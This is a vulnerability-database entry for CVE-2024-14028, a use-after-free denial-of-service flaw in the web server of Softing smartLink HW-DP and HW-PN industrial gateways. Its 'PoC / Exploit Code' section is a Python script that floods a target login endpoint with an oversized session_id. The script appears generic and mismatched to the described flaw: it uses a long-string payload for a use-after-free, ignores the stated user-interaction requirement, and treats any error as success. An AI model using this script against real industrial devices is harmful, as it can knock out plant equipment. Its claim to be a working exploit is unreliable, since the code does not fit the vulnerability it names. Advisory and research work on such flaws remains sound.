CVE-2024-14028

Description

Use after free vulnerability in Softing smartLink HW-DP or smartLink HW-PN webserver allows HTTP DoS. This issue affects: smartLink HW-DP: through 1.31 smartLink HW-PN: before 1.02.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

smartLink HW-DP <= 1.31

smartLink HW-PN < 1.02

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2024-14028 PoC - HTTP DoS via Use After Free
# Target: Softing smartLink HW-DP <= 1.31 or HW-PN < 1.02

def exploit(target_url):
    """
    Send crafted HTTP request to trigger Use After Free vulnerability
    """
    headers = {
        'User-Agent': 'Mozilla/5.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'keep-alive'
    }
    
    # Crafted payload that triggers the vulnerability
    payload = {
        'action': 'logout',
        'session_id': 'AAAAAAAA' * 100  # Long string to trigger memory corruption
    }
    
    try:
        response = requests.post(target_url, headers=headers, data=payload, timeout=10)
        if response.status_code == 500 or not response:
            print("[+] Exploit successful! Web service may be unavailable.")
        else:
            print("[-] Exploit may have failed or target is patched.")
    except Exception as e:
        print(f"[+] Target appears to be down: {e}")

if __name__ == "__main__":
    target = "http://TARGET_IP:PORT/login"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-14028
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-14028
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-14028/
[4] VulDB https://vuldb.com/cve/CVE-2024-14028
[5] https://industrial.softing.com/fileadmin/psirt/downloads/2024/CVE-2024-14028.html
[6] https://industrial.softing.com/fileadmin/psirt/downloads/2024/CVE-2024-14028.json

Raw JSON Data

JSON

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